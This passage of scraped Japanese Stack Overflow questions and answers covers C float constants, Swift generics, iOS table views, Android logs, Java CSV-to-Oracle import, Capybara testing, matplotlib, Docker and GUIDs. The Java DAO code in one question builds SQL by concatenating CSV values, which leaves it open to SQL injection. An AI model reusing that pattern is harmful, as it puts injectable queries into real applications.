"body": "C11規格書のドラフト([N1570](http://www.open-\nstd.org/jtc1/sc22/wg14/www/docs/n1570.pdf))を調べてみました。\n\n6.4.4.2 Floating constants (N1570 p.66) より\n\n> 5 Floating constants are converted to internal format as if at translation-\n> time. The conversion of a floating constant shall not raise an exceptional\n> condition or a floating- point exception at execution time. All floating\n> constants of the same source form75) shall convert to the same internal\n> format with the same value.\n>\n> 75) 1.23, 1.230, 123e-2, 123e-02, and 1.23L are all different source forms\n> and thus need not convert to the same internal format and value.\n\nこの記述によれば、同じソース形式であれば同じ内部フォーマットである必要はありますが、異なるソース形式の場合は、同じ内部フォーマット、同じ内部値である必要は無いとのことです。よって、\n**`1.0`と`1.`が必ず同じになるとは限らない可能性があります。**\n\nしかし、その後のRecommended practice(推奨される方法)として、次のように書かれています。\n\n> 7 The translation-time conversion of floating constants should match the\n> execution-time conversion of character strings by library functions, such as\n> strtod, given matching inputs suitable for both conversions, the same result\n> format, and default execution-time rounding.76)\n>\n> 76) The specification for the library functions recommends more accurate\n> conversion than required for floating constants (see 7.22.1.3).\n\n`strtod`などと同じように動作するとあります。`strtod`では丸め誤差等の方法をどのようにするのかが厳密に定義されており、有効桁数範囲内の10進数表記で同じ数字は必ず等値と扱われるようになっています。そのため、実際の演算では、どんな内部フォーマットを使われているかは影響が無いと思われます。\n\n※ 浮動小数点数が等値かどうかの判断は単純なビット列の一致では **ありません** 。ビット列が異なっていても等値と判断される場合があります。\n\n現実的な話をすると、ほとんどの実装では浮動小数点数をIEEE 754のbinary32(単精度)とbinary64(倍精度)で実装しています。IEEE\n754に基づいた変換では内部フォーマットに違いが出ることは無いと思われます。(ここら辺はIEEE 754にそこまで詳しくないのであやしいです)\n\n※ IEEE 754のbinary32とbinary64は、Cの仕様上のfloatとdouble、および、long\ndoubleの要件を満たしますが、それらを使用しなければならないという逆の要件はありません。Cでは2進数以外での実装した場合の動作も定めています。(JavaやECMAScriptにはIEEE\n754のbinary32やbinary64でなければならないという要件がありますが、Rubyなど実装依存(ほとんどの場合はCでの実装)とする言語も多いようです。)\n\nビット列に違いが出るかどうかはunionで無理矢理調べることができると思います。\n\n```\n\n #include <assert.h>\n #include <inttypes.h>\n #include <stdint.h>\n #include <stdio.h>\n \n union dd {\n double d;\n uint64_t u;\n };\n \n int main(void)\n {\n assert(sizeof(double) == sizeof(uint64_t));\n union dd x = {.d = 1.0};\n union dd y = {.d = 1.};\n printf(\"%016\" PRIX64 \" : %016\" PRIX64 \"\\n\", x.u, y.u);\n return 0;\n }\n \n```\n\nC++については、N3242をさらっと見た限り、正しくスケーリングを行うことしか書いて無く、上記のような記述は見られませんでした。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T23:49:49.640",
"id": "32211",
"last_activity_date": "2017-01-27T23:49:49.640",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "7347",
"parent_id": "32168",
"post_type": "answer",
"score": 4
}
]
| 32168 | 32193 | 32193 |
{
"accepted_answer_id": "32171",
"answer_count": 1,
"body": "```\n\n func methodA<T:ExpressibleByIntegerLiteral>(n:T)->(){\n \n var i = 1\n var j = T(integerLiteral:i) \n }\n \n```\n\n上記の関数は、「var j = T(integerLiteral:i) 」でコンパイルエラーとなります。\n\nしかし、私の解釈では、T型は、ExpressibleByIntegerLiteralプロトコルに準拠しているとしており、またプロトコルは、init(integerLiteral:)[REQUIRED]とあるので、なぜエラーとなるのかが理解ができません。 \n私は何が理解できていないのでしょうか。教えてください。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T09:07:41.340",
"favorite_count": 0,
"id": "32170",
"last_activity_date": "2017-01-26T10:34:44.173",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "11148",
"post_type": "question",
"score": 1,
"tags": [
"swift",
"swift3"
],
"title": "プロトコルの準拠について",
"view_count": 281
} | [
{
"body": "私も一瞬、「なんでこれがダメなんだろう?」と思ってしまった側なんですが…。\n\nまずはプロトコル`ExpressibleByIntegerLiteral`の定義を再確認してみましょう。\n\n>\n```\n\n> /// Conforming types can be initialized with integer literals.\n> public protocol ExpressibleByIntegerLiteral {\n> \n> associatedtype IntegerLiteralType\n> \n> /// Create an instance initialized to `value`.\n> public init(integerLiteral value: Self.IntegerLiteralType)\n> }\n> \n```\n\n`init(integerLiteral:)`メソッド(イニシャライザ)のパラメータ型は`Int`ではなく、`Self.IntegerLiteralType`になっています。あなたが`T:\nExpressibleByIntegerLiteral`以外の何の制約も与えず`func\nmethodA<T:ExpressibleByIntegerLiteral>(n:T)->()`でメソッド宣言をした場合、`T.IntegerLiteralType`は`Int`しかないと決定付けることはできず、メソッド本体は(今は定義されていなくとも、可能性としてありえる)任意の`T.IntegerLiteralType`について動作するように記述しないといけません。\n\nよって、`var i =\n1`で`Int`型と決定されてしまった`i`を引数にして`init(integerLiteral:)`を呼ぶことはできない、と言うことになってエラーが発生しているわけです。\n\nしたがって、これは構文エラーにはなりません。\n\n```\n\n func methodA<T: ExpressibleByIntegerLiteral>(n: T) -> ()\n where T.IntegerLiteralType == Int\n {\n var i = 1\n var j = T(integerLiteral: i)\n //...\n }\n \n```\n\nあるいは、こんな書き方をすることもできます。\n\n```\n\n func methodA<T: ExpressibleByIntegerLiteral>(n: T) -> () {\n var j: T = 1\n //...\n }\n \n```\n\n何となく雰囲気くらいはつかんでいただけたでしょうか。ジェネリックを使った宣言は、「制約を満たすどんなデータ型が来ても動くように書かないとエラーになってしまう」と言うことを頭に叩き込んだ上で、プロトコルの定義などを見直せば、より理解が深まるかと思います。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T10:34:44.173",
"id": "32171",
"last_activity_date": "2017-01-26T10:34:44.173",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "13972",
"parent_id": "32170",
"post_type": "answer",
"score": 2
}
]
| 32170 | 32171 | 32171 |
{
"accepted_answer_id": "32179",
"answer_count": 1,
"body": "UITableViewでチェックリストを作ってみたのですが、現在Cellを押すとチェックリストのUIImageが変更されます。Cellを押すと別のUITableViewに移動でき、UIImageを押下時にのみ画像が変更されるようにするにするにはどうすればいいでしょうか?\n\n```\n\n import UIKit\n \n class ViewController : UIViewController, UITableViewDelegate, UITableViewDataSource {\n \n let statusBarHeight = UIApplication.shared.statusBarFrame.height\n \n var checkListItem: [String : Bool] = [\n \"アイテム1\" : false,\n \"アイテム2\" : false,\n ]\n \n let tableView = UITableView()\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n // UITableView の作成\n tableView.frame = CGRect(\n x: 0,\n y: statusBarHeight,\n width: self.view.frame.width,\n height: self.view.frame.height - statusBarHeight\n )\n tableView.delegate = self\n tableView.dataSource = self\n self.view.addSubview(tableView)\n }\n \n func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n \n var keys = [String](checkListItem.keys)\n \n keys.sort()\n \n let cellText = keys[indexPath.row]\n \n let cell = UITableViewCell(style: .default, reuseIdentifier: \"cell\")\n cell.textLabel?.text = cellText\n \n if self.checkListItem[cellText]! {\n cell.imageView?.image = UIImage(named: \"checked\")\n } else {\n cell.imageView?.image = UIImage(named: \"unchecked\")\n }\n \n return cell\n }\n \n func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n \n if let cell = tableView.cellForRow(at: indexPath) {\n \n let cellText = cell.textLabel?.text\n \n if cell.imageView?.image == UIImage(named: \"checked\") {\n \n self.checkListItem.updateValue(false, forKey: cellText!)\n cell.imageView?.image = UIImage(named: \"unchecked\")\n } else {\n \n self.checkListItem.updateValue(true, forKey: cellText!)\n cell.imageView?.image = UIImage(named: \"checked\")\n }\n \n cell.isSelected = false\n }\n }\n \n func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {\n return 56\n }\n \n func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n return self.checkListItem.count\n }\n }\n \n```",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T12:33:58.800",
"favorite_count": 0,
"id": "32172",
"last_activity_date": "2017-01-28T00:53:38.163",
"last_edit_date": "2017-01-28T00:53:38.163",
"last_editor_user_id": "20406",
"owner_user_id": "20406",
"post_type": "question",
"score": 0,
"tags": [
"swift",
"xcode"
],
"title": "UITableViewでチェックリストを作成する",
"view_count": 381
} | [
{
"body": "二種類の解決法があると思います。ひとつは、カスタムのセル(`UITableViewCell`のサブクラス)を作り、イメージを`UIButton`としてセルに貼り付け、タップしたら自身の`image`を変更するアクションをつけることです。すこし大きなプログラムになります。 \nもうひとつは、方針を若干変更して、Appleの「[ヒューマンインターフェイスガイドライン](https://developer.apple.com/jp/documentation/UserExperience/Conceptual/MobileHIG/index.html)」に従ったものにすることです。\n\n[](https://i.stack.imgur.com/05AXv.png)\n\nスクリーンショットのように、DetailButton(`UITableViewCellAccessoryType.detailButton`)をセルに表示します。 \n`UITableViewDelegate`メソッドを、コードに追加します。画面遷移の種類は、モーダル表示、遷移先のView\nControllerを`ModalViewController`とします。\n\n```\n\n func tableView(_ tableView: UITableView, accessoryButtonTappedForRowWith indexPath: IndexPath) {\n let controller = ModalViewController(nibName: nil, bundle: nil)\n present(controller, animated: true, completion: nil)\n }\n \n```\n\nセルをタップしたら、イメージが変更することは変わりませんが、Detailボタンをタップすると、モーダルに遷移するようになります。方針と異なりますが、できることは同じです。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T01:33:26.240",
"id": "32179",
"last_activity_date": "2017-01-27T01:33:26.240",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "18540",
"parent_id": "32172",
"post_type": "answer",
"score": 0
}
]
| 32172 | 32179 | 32179 |
{
"accepted_answer_id": "32180",
"answer_count": 1,
"body": "Androidのログを見ていて気になりました。 \nこれはどういう意味ですか、 \nDataが無いみたいな事が書かれていますが、何か問題は無いのでしょうか?\n\n```\n\n 01-26 21:58:13.535 1317-1317/? D/StatusBar.NetworkController: refreshViews: Data not connected!! Set no data type icon / Roaming\n \n```",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T13:49:00.800",
"favorite_count": 0,
"id": "32174",
"last_activity_date": "2017-01-27T01:45:42.220",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20407",
"post_type": "question",
"score": 0,
"tags": [
"android"
],
"title": "Androidのログで、 Set no data type icon / Roaming とは何の事でしょうか",
"view_count": 415
} | [
{
"body": "ここで言われているDataとは「情報」といった意味でなく「データ通信」です。\n\n```\n\n Data not connected!!\n データ通信網が接続されていない\n \n Set no data type icon\n データ通信なしの場合のアイコンを設定\n \n```\n\nということになると思います。 \n「アイコン」が出てきているのはStatusBar.NetworkControllerがログにあるため、ステータスバーに出すアイコンのことを示していると思います。 \nおそらくSIMなしの端末を使用されている(またはデータ通信網が切れている環境で使用している)ため該当のログが出力されているのではないでしょうか。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T01:35:24.007",
"id": "32180",
"last_activity_date": "2017-01-27T01:45:42.220",
"last_edit_date": "2017-01-27T01:45:42.220",
"last_editor_user_id": "20272",
"owner_user_id": "20272",
"parent_id": "32174",
"post_type": "answer",
"score": 0
}
]
| 32174 | 32180 | 32180 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "商品情報の配列のcodeの要素のあるなしでデータベースへの登録を分けたいです。 \nしかし、クラスかコントローラのどちらにどのような記述をすればいいのかわかりません。 \nCSVReader クラスに\n\n```\n\n package drinkMachine.csv;\n \n import java.io.BufferedReader;\n import java.io.File;\n import java.io.FileNotFoundException;\n import java.io.FileReader;\n import java.io.IOException;\n import java.util.ArrayList;\n import java.util.List;\n \n import javax.servlet.ServletContext;\n import javax.servlet.http.HttpServletRequest;\n \n import org.apache.commons.fileupload.FileItem;\n import org.apache.commons.fileupload.FileUploadException;\n import org.apache.commons.fileupload.disk.DiskFileItemFactory;\n import org.apache.commons.fileupload.servlet.ServletFileUpload;\n \n public class CSVReader {\n private String fileName;\n private Integer num;\n public void csvAdd(HttpServletRequest request, ServletContext con)\n \n {\n \n // サーブレットファイルアップロードオブジェクトを生成\n DiskFileItemFactory factory = new DiskFileItemFactory();\n ServletFileUpload upload = new ServletFileUpload(factory);\n // 基準値\n factory.setSizeThreshold(1024);\n upload.setSizeMax(-1);\n upload.setHeaderEncoding(\"UTF-8\");\n // try catch 必要あり?\n List<FileItem> fileList;\n try {\n fileList = upload.parseRequest(request);\n System.out.println(\"fileList\" + fileList);\n \n for (FileItem uploadItem : fileList) {\n \n // isFormFieldはフォームデータであるかの真偽を返す。fileならFalse\n if (!(uploadItem.isFormField())) {\n \n // ファイルデータのファイル名(PATH名含む)\n fileName = uploadItem.getName();\n \n if ((fileName != null) && (!fileName.equals(\"\"))\n && fileName.matches(\".+\\\\.(csv)$\")) {\n // PATH名を除くファイル名を取得\n fileName = (new File(fileName)).getName();\n \n // ファイルを格納するフォルダのパス\n String path = \"C:\\\\pleiades\\\\workspace\\\\jspServlet\\\\WebContent\\\\csv\";\n \n // ファイルデータを指定されたファイルに書き出し\n try {\n uploadItem.write(new File(path + fileName));\n } catch (Exception e) {\n // TODO 自動生成された catch ブロック\n e.printStackTrace();\n }\n \n // fileの名前は(パスは)プログラム内で使うため受け取る\n // image はname属性\n if (uploadItem.getFieldName().equals(\"csv\")) {\n String file = path + \"\\\\\" + fileName;\n \n }\n }\n }\n }\n } catch (FileUploadException e1) {\n // TODO 自動生成された catch ブロック\n e1.printStackTrace();\n }\n }\n \n public List<List<String>> read() {\n \n // 返却用リスト箱作成\n List<List<String>> ret = new ArrayList<List<String>>();\n if (fileName != null) {\n System.out.println(\"fileName\" + fileName);\n String inputCsvFile = \"C:\\\\pleiades\\\\workspace\\\\jspServlet\\\\WebContent\\\\csv\\\\test1.csv\";\n \n File csv = new File(inputCsvFile);\n System.out.println(csv);\n \n BufferedReader br = null;\n \n try {\n int lineCount = 0;\n // ファイルオープン\n br = new BufferedReader(new FileReader(csv));\n \n // num行読み込む(0の場合は全行)\n String line = \"\";\n int idx = 0;\n while ((line = br.readLine()) != null) {\n lineCount++;\n \n // 1行を格納する箱作成\n List<String> tmpList = new ArrayList<String>();\n \n // 文字列index\n int idxFrom = 0;\n int idxTo = 0;\n // 文字列長\n while (true) {\n \n // 最終項目を取得後は終了\n if (idxFrom > line.length()) {\n break;\n }\n \n // 次のセパレータ位置を取得\n idxTo = line.indexOf(\",\", idxFrom);\n \n // セパレータが発見できない場合は最終項目を取得\n if (idxTo == -1) {\n idxTo = line.length();\n }\n \n // 文字列取得\n String word = line.substring(idxFrom, idxTo);\n \n // 文字列を格納\n tmpList.add(word);\n \n // 検索開始位置を更新\n idxFrom = idxTo + 1;\n }\n \n // 返却用リストに1行データを格納\n ret.add(tmpList);\n \n // カウンタ\n if (idx % 1000 == 0) {\n System.out.println(\"入力: \" + idx + \" 件\");\n }\n idx++;\n \n // numを超えたら読み込み終了。numが0のときは全量読む。\n if (lineCount != 0 && idx > lineCount) {\n \n break;\n }\n }\n } catch (FileNotFoundException e) {\n e.printStackTrace();\n } catch (IOException e) {\n e.printStackTrace();\n } finally {\n try {\n if (br != null) {\n br.close();\n }\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n }\n return ret;\n }\n \n }\n \n```\n\nと書きreturn\nretで何個かCSVファイルに記載されている商品データの配列(例えば、[1(code),100(price),apple(name)])をそれぞれ取得することができました。 \nCsvUpdateControllerには\n\n```\n\n /**\n * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)\n */\n protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n // TODO Auto-generated method stub\n CSVReader csvReading;\n String fileName;\n ServletContext con = getServletConfig().getServletContext();\n \n csvReading = new CSVReader();\n csvReading.csvAdd(request,con);\n List<List<String>> csvResult = csvReading.read();\n \n System.out.println(\"csvResult\"+csvResult);\n }\n \n }\n \n```\n\nDao クラスには\n\n```\n\n package drinkMachine.dao;\n \n import java.sql.Connection;\n import java.sql.DriverManager;\n import java.sql.PreparedStatement;\n import java.sql.ResultSet;\n import java.sql.SQLException;\n import java.sql.Statement;\n import java.util.ArrayList;\n import java.util.List;\n \n import drinkMachine.beans.ItemBean;\n \n public class T001ItemDao {\n private Connection conn = null;\n private PreparedStatement pstmt = null;\n \n public T001ItemDao() throws ClassNotFoundException, SQLException {\n Class.forName(\"oracle.jdbc.driver.OracleDriver\");\n conn = DriverManager.getConnection(\n \"XXX\",\n \"xxx\", \"xxx\");\n }\n \n // 商品登録メソッド\n public int addItem(String name, String price, String count,String isPR) {\n int result = 0;\n try {\n String query = \"INSERT INTO T001_ITEM\" + \"(ITEM_NO,ITEM_NM,UNIT_PRICE,STOCK_COUNT,RECORD_DATE,IS_PR)\" +\"VALUES(TABLE_SEQ.NEXTVAL,'\"+ name +\"','\"+ price +\"','\"+ count +\"', sysdate,'\"+ isPR +\"')\";\n System.out.println(query);\n pstmt = conn.prepareStatement(query);\n \n result = pstmt.executeUpdate();\n } catch (Exception e) {\n e.printStackTrace();\n // TODO: handle exception\n }\n return result;\n \n }\n \n public String checkAdd(String name) {\n \n // Dataの重複チェック\n String kensaku = \"\";\n try {\n Statement statement = conn.createStatement();\n \n String sql = \"SELECT count(*) as checkItem\" + \" FROM T001_ITEM\"\n + \" WHERE ITEM_NM ='\" + name + \"'\";\n kensaku = \"\";\n System.out.println(sql);\n ResultSet resultSet = statement.executeQuery(sql);\n \n resultSet.next();\n \n kensaku = resultSet.getString(\"checkItem\");\n } catch (SQLException e) {\n // TODO 自動生成された catch ブロック\n e.printStackTrace();\n }\n \n \n System.out.println(kensaku);\n return kensaku;\n }\n \n //引数:商品コード、商品名、金額、数量\n //戻り値:結果更新できたか否か YES or NO\n public int update(String code,String name,String price,String count) {\n int result = 0;\n try {\n Statement stmt = conn.createStatement();\n String sql = \"UPDATE T001_ITEM SET\"\n + \" ITEM_NM ='\" + name + \"',\" +\n \" UNIT_PRICE = '\" + price + \"', \" +\n \" STOCK_COUNT = '\" + count + \"',\" +\n \" RECORD_DATE = CURRENT_TIMESTAMP\"+\n \" WHERE ITEM_NO = \" + code;\n \n result = stmt.executeUpdate(sql);\n }catch (SQLException e){\n System.out.println(\"SQLException:\" + e.getMessage());\n }\n return result;\n }\n \n \n public ItemBean getLineItems(String code){\n String sql = \"SELECT ITEM_NO,ITEM_NM,UNIT_PRICE,STOCK_COUNT FROM T001_ITEM WHERE ITEM_NO ='\" + code + \"'\";\n ItemBean ItemInfo = new ItemBean();\n \n try {\n Statement statement = conn.createStatement();\n ResultSet resultSet = statement.executeQuery(sql);\n resultSet.next();\n \n ItemInfo.setCode(resultSet.getString(\"ITEM_NO\"));\n ItemInfo.setName(resultSet.getString(\"ITEM_NM\"));\n ItemInfo.setPrice(resultSet.getString(\"UNIT_PRICE\"));\n ItemInfo.setCount(resultSet.getString(\"STOCK_COUNT\"));\n \n \n \n } catch (SQLException e) {\n // TODO 自動生成された catch ブロック\n e.printStackTrace();\n }\n return ItemInfo;\n }\n }\n \n```\n\nと書きました。 \n登録にはaddItem を、更新にはupdate メソットを使います。 \nその商品情報のcodeがあれば、Daoクラスに記載しているUPDATE文を呼び出し、codeがなければDaoクラスに記載しているINSERT文を呼び出したいです。 \nそのようなことを行いたいなら、配列名[0]のように指定しif文であるなしを分岐させたら良いのでしょうか? \nまた、何個も商品の配列(例えば、[1,100,apple],[2,300,orange],[,500.banana]など)リストの中に何個もの配列が入っている時、それぞれの配列がcodeを持つか持たないかで呼び出すSQL文を変えたい時どのように書けばいいのでしょうか?",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T14:04:39.533",
"favorite_count": 0,
"id": "32175",
"last_activity_date": "2018-03-09T08:12:26.847",
"last_edit_date": "2018-03-09T08:12:26.847",
"last_editor_user_id": "3054",
"owner_user_id": "14754",
"post_type": "question",
"score": -2,
"tags": [
"java",
"jsp",
"servlet"
],
"title": "配列の要素のあるなしでデータベースへの登録を分けたい",
"view_count": 1148
} | [
{
"body": "CSVの仕様にもよると思います。 \nもしcodeなしがCSVに表現されるなら、読み込み時に単純に空文字になると思うので、質問に記載されたコードの場合、Listの先頭が空文字だとINSERTするメソッドを実行する、といった分岐になると思います。 \nもしcodeなしがCSVに表現されない(カラムが省略されて読み込むカラム数が減る)場合、Listのsizeで判定するようになると思います。 \nもしカラム数がレコードによってバラつく場合、これはCSVの仕様でカラム数をそろえてもらう必要があると思います。\n\nちなみに、上記質問ではカンマの位置を調べてカンマ区切りでListにaddするように実装されていますが、Stringメソッドを使うともっと簡単に実装できます。\n\n```\n\n String str = \"aaa,bbb,ccc,ddd\";\n String[] strArray = str.split(\",\");\n /* strArrayの中身は[\"aaa\",\"bbb\",\"ccc\",\"ddd\"]となります */\n \n```\n\n参考まで。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-03-01T08:17:30.033",
"id": "33011",
"last_activity_date": "2017-03-01T08:17:30.033",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20758",
"parent_id": "32175",
"post_type": "answer",
"score": 2
}
]
| 32175 | null | 33011 |
{
"accepted_answer_id": "32177",
"answer_count": 1,
"body": "現在、RSpec+Capybaraでテストコードを書こうとしています。 \nやりたいことはナビゲーションバーの中にあるドロップダウンをクリックして表示されたドロップダウンメニューの中にログアウトというコンテンツがあることを確かめることです。 \nViewのコードは下記の通りです。 \nテンプレートエンジンはslimを、CSSフレームワークはBootstrap 4を使っています。\n\n```\n\n nav.navbar\n ul.navbar-left\n = link_to 'brand', authenticated_root_path, class: 'navbar-brand'\n ul.navbar-right\n li.nav-item.dropdown\n = link_to '☰'.html_safe, 'http://example.com', class: 'nav-link dropdown-toggle', id: 'navbarDropdownMenuLink', 'data-toggle': 'dropdown', 'aria-haspopup': 'true', 'aria-expanded': 'false'\n .dropdown-menu aria-labelledby='navbarDropdownMenuLink'\n = link_to 'ログアウト', destroy_user_session_path, method: 'delete', class: 'dropdown-item'\n \n```\n\n次に現状のテストコードは下記の通りです。\n\n```\n\n feature 'Navigation links for users', :devise do\n \n scenario 'view navigation links' do\n user = FactoryGirl.create(:user)\n signin(user.email, user.password)\n expect(page).to have_content 'brand'\n expect(page).to have_content '☰'\n end\n \n end\n \n```\n\n上記のテストコードにドロップダウンのリンクをクリックしていない状態でhave_contentやhave_linkを追加して試してみましたが、htmlとしては存在するためか、テストがパスしてしまいました。 \nドロップダウンのリンクをクリックした状態でのみ、ログアウトのリンクが表示されることを確認するにはどうすればいいでしょうか?\n\n**2017/1/27 追記**\n\nPhantomJS、Poltergeistを使用して上記の問題は解決できたのですが、これまで通っていた下記ヘルパメソッドでCapybara::Poltergeist::MouseEventFailedが発生するようになってしまいました。\n\n```\n\n def signin(email, password)\n visit new_user_session_path\n fill_in 'Email', with: email\n fill_in 'Password', with: password\n click_button 'Sign in' # ここで例外発生\n end\n \n```\n\nエラーメッセージは下記の通りです。\n\n```\n\n Capybara::Poltergeist::MouseEventFailed: Firing a click at co-ordinates [411.5, 321] failed. Poltergeist detected another element with CSS selector 'html body main div.authform form#new_user.new_user' at this position. It may be overlapping the element you are trying to interact with. If you don't care about overlapping elements, try using node.trigger('click').\n \n```\n\nバージョンはPhantomJSが2.1.1、Poltergeistが1.13.0です。 \nViewのコードを見ても重複は見つからず、firstやallを使って絞り込んでも同様の結果でした。 \nエラーメッセージに従ってclick_buttonをnode.trigger('click')に変更することで回避はできたのですが、Poltergeistを使う場合、click_buttonは使えなくなるのでしょうか?\n\n**2017/2/1 追記**\n\n上記の原因はサブミットボタンに設定していたfloatでした。 \nこれを指定していたせいでサブミットボタンがform要素の裏側に回り込んでしまっていたため、サブミットボタンが押せない状況でした。\n\n[](https://i.stack.imgur.com/qUL6A.png)\n\n解決策としては以下の3つです。\n\n * サブミットボタンに適用しているfloatを外す。\n * execute_scriptでサブミットボタンに適用されているfloatをテスト時のみ外す。\n * サブミットボタンにz-indexを適用する。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T14:35:30.367",
"favorite_count": 0,
"id": "32176",
"last_activity_date": "2017-02-01T04:23:37.370",
"last_edit_date": "2017-02-01T04:23:37.370",
"last_editor_user_id": "19090",
"owner_user_id": "19090",
"post_type": "question",
"score": 0,
"tags": [
"ruby-on-rails",
"bootstrap",
"rspec",
"capybara"
],
"title": "RSpec+CapybaraでBootstrap 4のドロップダウンをテストする方法",
"view_count": 1049
} | [
{
"body": "「ナビゲーションバーの中にあるドロップダウンをクリックして表示されたドロップダウンメニュー」はJavaScriptを使って実現されているはずです。 \nなので、RSpecの中でもJavaScriptを使う必要があります。\n\nselenium-webdriverやPoltergeistといったgemを導入するとRSpec内でもJSが有効になります。 \n(僕はPoltergeistをよく使います)\n\n導入方法や使い方は公式サイトやネットの情報を参考にしてみてください。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T23:53:56.607",
"id": "32177",
"last_activity_date": "2017-01-26T23:53:56.607",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "85",
"parent_id": "32176",
"post_type": "answer",
"score": 2
}
]
| 32176 | 32177 | 32177 |
{
"accepted_answer_id": null,
"answer_count": 0,
"body": "Matplotlibでdendrogramを描画すると、nodeが多い場合はlabelが重なって見えづらくなってしまうことがあると思います。 \n単純にfigureのsizeを拡大することで対処しようと思ったのですが、 \nplt.figure(figsize=x,y))のx, yをどれだけ大きくしても、スクリーンの大きさ以上にならずlabelが重なったままです。 \n対処方法をご存知でしたらご教示いただけますと幸いです。 \nPythonのverは3.6.0です。\n\n```\n\n from scipy.spatial.distance import pdist\n from scipy.cluster.hierarchy import linkage, dendrogram\n import matplotlib.pyplot as plt\n \n plt.figure(figsize=(16,9))\n plt.title(\"Title\")\n plt.xlabel(\"xlabel\", fontsize=10)\n plt.ylabel(\"ylabel\", fontsize=10)\n plt.subplots_adjust(bottom=0.35)\n dendrogram(linkage(xxxxxx), labels=list(xxxxxx), leaf_font_size=8, leaf_rotation=90)\n plt.savefig(\"filename\")\n plt.show()\n \n```",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T02:43:46.717",
"favorite_count": 0,
"id": "32181",
"last_activity_date": "2017-01-27T02:43:46.717",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20399",
"post_type": "question",
"score": 0,
"tags": [
"matplotlib",
"python3"
],
"title": "Matplotlibで描画したdendrogramのlabelが重なってしまう",
"view_count": 2857
} | []
| 32181 | null | null |
{
"accepted_answer_id": "32199",
"answer_count": 1,
"body": "Wordpressを立ち上げる環境としてDockerを初めてしようしてみました。 \n私が参考にしたブログを添付しておきます \n→<https://webnaut.jp/technology/20170118-1828/>\n\n本題のDockerで作った”コンテナ”なのですが、テーマを新しく入れたくてディレクトリを探してみたのですがないと、とりあえずGoogle先生で調べてみた結果\n\n```\n\n /var/lib/docker\n \n```\n\n上記のディレクトリにあると書いてあったのでローカルの中をあさってみたのですが\n\n```\n\n postfix\n \n```\n\nというファイルがしかありませんでした。 \nこれが現状です。\n\nDockerのコンテナが保存されているディレクトリをしっている方がいたら教えていただきたいです。 \nよろしくお願いします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T03:08:01.180",
"favorite_count": 0,
"id": "32182",
"last_activity_date": "2017-01-27T08:27:20.053",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20248",
"post_type": "question",
"score": 0,
"tags": [
"wordpress",
"docker"
],
"title": "Dockerで作成したコンテナの保存先ディレクトリについて",
"view_count": 890
} | [
{
"body": "docker は仮想実行環境(コンテナ)を立ち上げ、その中でプログラムを実行します。なので、 docker\nを実行するパソコン(ホスト)のファイルシステムを探しても、何もでてきません。\n\n変更するべきはコンテナの中のファイルシステムです。\n\n```\n\n docker exec -it コンテナ名 bash\n \n```\n\nでコンテナの中に CUI で入れるので、その中から操作を行います。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T08:27:20.053",
"id": "32199",
"last_activity_date": "2017-01-27T08:27:20.053",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "754",
"parent_id": "32182",
"post_type": "answer",
"score": 0
}
]
| 32182 | 32199 | 32199 |
{
"accepted_answer_id": "32188",
"answer_count": 4,
"body": "UnityのC#でゲームを作っており、 \nモバイル端末間のデータ引継ぎに関して調査しております。 \n端末固有のIDを取得または生成したいと考えており、 \nその過程で件名のGuid構造体を見つけました。\n\n下記、MSDNによると \n\"GUID は、128 ビットの整数 (16 バイト) 一意の識別子が必要であれば常に、 \nすべてのコンピューターおよびネットワークの間で使用できます。 \nこのような識別子には、重複する可能性は非常に低いができます。\" \n<https://msdn.microsoft.com/ja-jp/library/system.guid(v=vs.110).aspx>\n\nとあるのですが、 \n\"すべてのコンピューターおよびネットワークの間で使用できます。\"と \nいう部分が非常にひっかかっております。\n\nそもそも全端末でほぼ異なる一意なIDがなぜ作れるのか?\n\nモバイル間でどのIDが発行されたかを知るにはサーバーサイドなどで \nアクティベーションを管理していないと不可能だと思うのですが、 \nここでいう\"すべてのコンピューターおよびネットワークの間で使用できます。\"とは \nどういう意味でしょうか?\n\n以上、よろしくお願いします。\n\n■環境 \nWindows10 \nUnity5.3.5f1 \n(Unityなので.Netは2.0 C#は3.0だと思われます。)",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T03:31:11.367",
"favorite_count": 0,
"id": "32184",
"last_activity_date": "2017-02-11T02:35:29.243",
